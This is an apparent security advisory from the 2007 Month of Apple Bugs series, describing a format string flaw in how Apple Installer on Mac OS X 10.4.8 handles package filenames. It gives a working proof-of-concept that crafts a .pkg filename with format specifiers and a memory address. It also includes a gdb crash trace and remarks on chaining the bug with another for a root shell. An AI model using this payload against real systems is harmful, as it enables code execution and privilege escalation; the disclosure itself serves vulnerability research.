MOAB-26-01-2007: Apple Installer Package Filename Format String Vulnerability

Summary

Apple Installer is the application in charge of handling the installation of packages for Mac OS X, in form of pkg, distz and mpkg files.

Installer fails to properly handle package filename strings. It's a affected by a typical format string vulnerability, which can lead to a denial of service condition or arbitrary code execution.
Affected versions

This issue has been verified with Apple Installer Version 2.1.5 (94) on Mac OS X 10.4.8 (8L2127).
Proof of concept, exploit or instructions to reproduce

The following is the most simple way to demonstrate this issue:

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") +
CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x
%25x%25x%25x%25x%25x%n.pkg

See the 'Exploitation conditions' section for more information on different vectors to trigger the issue.
Debugging information

The following debugging information shows Installer crashing when opening a file with a crafted filename:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x0000037f
0x9000c0c1 in __vfprintf ()

(gdb) x/x 0xbfffe79c
0xbfffe79c: 0x00ffffff

(gdb) back
#0 0x9000c0c1 in __vfprintf ()
#1 0x90100ea9 in snprintf_l ()
#2 0x908119d5 in _CFStringAppendFormatAndArgumentsAux ()
#3 0x9081091c in _CFStringCreateWithFormatAndArgumentsAux ()
#4 0x925daa5d in -[NSPlaceholderString initWithFormat:locale:arguments:] ()
#5 0x925fc670 in -[NSString initWithFormat:arguments:] ()
#6 0x9336056f in -[NSAlert buildAlertStyle:title:message:first:second:third:
oldStyle:args:] ()
#7 0x934ac77a in _NXDoLocalRunAlertPanel ()
#8 0x934ac4cc in NSRunAlertPanel ()
#9 0x00003acd in -[InstallerController openFile:withOptions:] ()
#10 0x9326ad98 in -[NSApplication _doOpenFile:ok:tryTemp:] ()
#11 0x93268305 in -[NSApplication finishLaunching] ()
#12 0x93267c29 in -[NSApplication run] ()
#13 0x9325bd2f in NSApplicationMain ()
#14 0x00002721 in main ()

(gdb) i r
eax 0x37f 895
ecx 0x0 0
edx 0x0 0
ebx 0x9000ad62 -1879003806
esp 0xbfffdc70 0xbfffdc70
ebp 0xbfffe3c8 0xbfffe3c8
esi 0xbffff3be -1073744962
edi 0x25 37
eip 0x9000c0c1 0x9000c0c1 <__vfprintf+4976>
eflags 0x10282 66178
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55

Notes
Exploitation conditions

This is another issue related with the now infamous NSRunAlertPanel() and related functions. Actually, there are dozens of issues like these in nearly every Mac OS X application. Right now, as explained in MOAB-16-01-2007 we can write NULL bytes to any desired location. Under certain circumstances this can be useful and thus arbitrary code execution can't be considered 'not possible' right away (specially when we can reach user input…). In fact, there may be some other methods that could help with exploitation of these issues without requiring use of the usual techniques for format string exploitation. This all thanks to Apple and CoreFoundation. Who else.

If that doesn't work, you can always use it to spawn a root shell with MOAB-22-01-2007 :-). Sure, you can use the notification API right away, but it's still nice to turn every 'crash' into a root shell…
Workaround or temporary solution

Wait for Apple to release a patch or the MoAB Fixes for an APU module.

"Two days of stupid 1990s-style bugs, just in case." -- anonymous.